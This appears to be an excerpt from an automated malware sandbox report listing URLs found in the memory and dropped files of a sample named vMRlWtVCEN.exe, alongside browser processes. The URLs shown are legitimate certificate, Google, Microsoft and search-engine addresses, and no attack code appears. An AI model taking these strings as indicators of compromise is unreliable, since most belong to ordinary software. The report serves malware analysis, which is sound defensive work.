Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365598938.00004BF801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368174751.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367215054.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367541940.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365598938.00004BF801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368174751.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367215054.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367541940.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365598938.00004BF801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368174751.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367215054.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367541940.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000003.00000003.2365636665.00004BF800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365675762.00004BF801064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365598938.00004BF801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368785252.00004BF8010F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368174751.00004BF800F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367215054.00004BF800A48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368683920.00004BF8003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365479649.00004BF801038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2365540647.00004BF801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367541940.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: Amcache.hve.21.dr	String found in binary or memory: http://upx.sf.net
Source: chromecache_466.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: vMRlWtVCEN.exe, vMRlWtVCEN.exe, 00000000.00000002.2771399733.000000006CAED000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771219738.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, FCAKFCGC.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000003.00000003.2385042966.00004BF800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chromecache_468.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_468.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: Reporting and NEL.11.dr	String found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingcsp
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000003.00000003.2363389594.00004BF800D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363366739.00004BF800398000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2465470260.000055D400368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000003.00000003.2390358540.00004BF8013B4000.00000004.00000800.00020000.00000000.sdmp, chromecache_468.5.dr, chromecache_466.5.dr	String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000007.00000003.2479128571.0000018C22DB8000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2547857249.0000018C22DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 235de707-0d67-4747-882a-2375ceb3654d.tmp.11.dr, 258a7c48-9440-4e03-b756-5258400fc065.tmp.11.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.00000000233F2000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.00000000233F2000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.11.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, FCAKFCGC.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000003.00000003.2363770189.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2556017156.000055D40016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000003.00000003.2368403267.00004BF800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363554135.00004BF800E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363156373.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363127923.00004BF800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2368442525.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2367980867.00004BF800E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363636451.00004BF800494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2388450177.00004BF800CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2363770189.00004BF800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000003.00000003.2348573046.0000387400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2394372474.00004BF801A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000003.00000003.2348361286.000038740039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2348177004.0000387400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 00000007.00000002.2556017156.000055D40016C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 235de707-0d67-4747-882a-2375ceb3654d.tmp.11.dr, 258a7c48-9440-4e03-b756-5258400fc065.tmp.11.dr	String found in binary or memory: https://clients2.google.com
Source: chrome.exe, 00000003.00000003.2337512470.00006600002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2337496481.00006600002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000003.00000003.2357986766.00004BF8004C0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2549833385.000055D400040000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 235de707-0d67-4747-882a-2375ceb3654d.tmp.11.dr, 258a7c48-9440-4e03-b756-5258400fc065.tmp.11.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_468.5.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_468.5.dr	String found in binary or memory: https://content.googleapis.com
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.00000000233F2000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.00000000233F2000.00000004.00000020.00020000.00000000.sdmp, CBGCBGCAFIIECBFIDHIJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000003.00000003.2398097649.00004BF801160000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/gws/cdt1
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.11.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000003.00000003.2392868376.00004BF8014A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: vMRlWtVCEN.exe, vMRlWtVCEN.exe, 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771899223.000000006CD71000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_468.5.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.2368879816.00004BF801224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: vMRlWtVCEN.exe, 00000000.00000002.2761851232.0000000023310000.00000004.00000020.00020000.00000000.sdmp, GCFIIEBK.0.dr, Web Data.10.dr, FCAKFCGC.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 235de707-0d67-4747-882a-2375ceb3654d.tmp.11.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.10.dr, d9483c05-6a5f-4762-9bbe-d16f40002d4c.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
